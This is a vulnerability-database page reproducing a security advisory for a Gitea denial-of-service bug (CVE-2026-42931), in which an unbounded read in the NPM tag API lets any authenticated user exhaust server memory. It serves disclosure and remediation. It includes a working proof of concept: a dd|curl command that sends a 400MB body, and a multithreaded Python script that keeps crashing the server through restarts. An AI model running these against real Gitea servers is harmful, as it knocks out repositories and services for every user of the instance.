Skip to main content

Gitea CVE-2026-42931

MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-21 https://github.com/go-gitea/gitea GHSA-wwqq-x6w4-frm2
6.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
6.5 MEDIUM

Network-accessible endpoint requires only a low-privilege authenticated account; single oversized request crashes the entire Go server process, yielding A:H with no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
Jul 21, 2026 - 21:17 vuln.today
Analysis Generated
Jul 21, 2026 - 21:17 vuln.today

DescriptionGitHub Advisory

Summary

An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.

Details

The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:

go
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    body, err := io.ReadAll(ctx.Req.Body)  // NO SIZE LIMIT
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    version := strings.Trim(string(body), "\"")
    // ...
}

This route is registered at routers/api/packages/api.go:433:

go
r.Group("/-/package/{id}/dist-tags", func() {
    // ...
    r.Group("/{tag}", func() {
        r.Put("", npm.AddPackageTag)    // reqPackageAccess(perm.AccessModeWrite)
        r.Delete("", npm.DeletePackageTag)
    })
})

Why this causes OOM and not just a slow request:

In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.

No server-side size limits apply to this endpoint:

Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:

go
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
    const noLimit = "-1"
    value := section.Key(key).MustString(noLimit)  // defaults to "-1"
    if value == noLimit {
        return -1
    }

Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().

The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:

go
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024  // 32MB, which is safe and spills to disk

// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body)  // reads everything into RAM, no limit

Access requirements:

go
  if doer.ID == pkgOwner.ID {
      accessMode = perm.AccessModeOwner
  }
go
  body, err := io.ReadAll(ctx.Req.Body)  // line 336; OOM happens here
  // ...
  pv, err := packages_model.GetVersionByNameAndVersion(...)  // line 343, which is never reached

PoC

Tested Environment:

  • Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)

Prerequisites: Set up test environment

yaml
# docker-compose.yml
version: "3"
services:
  gitea:
    image: gitea/gitea:latest
    container_name: gitea-dos-test
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__service__DISABLE_REGISTRATION=false
    ports:
      - "3000:3000"
    deploy:
      resources:
        limits:
          memory: 512M
bash
docker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)

Step 1: Single request OOM crash

bash
# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
  -X PUT \
  -H "Content-Type: application/json" \
  --data-binary @- \
  "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
  --max-time 120

Step 2: Verify server crash

bash
# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)

Step 3: Persistent DoS via concurrent requests (survives restart policies)

python
# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools

payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)

def worker():
    s = requests.Session()
    while True:
        n = next(i)
        try:
            s.put(
                f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
                data=payload,
                auth=("user1", "A@12345678"),
                timeout=120
            )
        except Exception:
            pass

for _ in range(20):
    threading.Thread(target=worker, daemon=True).start()

__import__('signal').pause()

One 400MB upload triggers OOM kill

https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6

Crash loop after OOM with Docker restart policy

https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7

Observed result on Gitea 1.26.2:

  • Server logs: Received signal 15; terminating.
  • Container status: Exited (0)
  • Server remains down until manual restart
  • With restart: always, server restarts but can be immediately re-killed

Impact

Who is impacted:

  • All Gitea instances with the package registry enabled (enabled by default)
  • Any authenticated user can crash the server (No admin privileges required)
  • With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server
  • All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services

Attack characteristics:

  • Single request is sufficient to crash the server
  • No special payload: raw zeros work (no compression tricks needed)
  • Persistent multiple requests can re-kill the server even after auto-restart
  • Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)

AnalysisAI

Denial of service in Gitea's NPM package registry API allows any authenticated user to crash the entire server process with a single HTTP request by exploiting an unbounded io.ReadAll() call in the AddPackageTag handler. Gitea versions up to and including v1.26.2 are confirmed vulnerable, with the fix shipped in v1.27.0. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Register or obtain Gitea user account
Delivery
Send oversized PUT request to /api/packages/{user}/npm/-/package/{any}/dist-tags/{tag}
Exploit
io.ReadAll() reads entire body into RAM with no limit
Execution
Go runtime OOM allocation failure kills entire server process
Persist
All repository, CI/CD, and issue-tracking services become unavailable
Impact
Repeat concurrently to defeat auto-restart policies

Vulnerability AssessmentAI

Exploitation The Gitea package registry must be enabled - it is on by default in standard installations. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The NVD CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5) is technically accurate but operationally understates impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker registers a free Gitea account (possible by default due to open self-registration) and sends a single HTTP PUT request to `/api/packages/{username}/npm/-/package/anyname/dist-tags/latest` with a request body sized to approximately 80% of the server's total RAM - around 400MB for a 512MB instance. Gitea reads the entire body into a Go `[]byte` via `io.ReadAll()`, exhausts available memory, and the runtime issues an unrecoverable OOM kill that takes down the entire server process. …
Remediation Upgrade to Gitea v1.27.0, the vendor-confirmed fixed release per GHSA-wwqq-x6w4-frm2 (https://github.com/go-gitea/gitea/security/advisories/GHSA-wwqq-x6w4-frm2). … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-42931 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy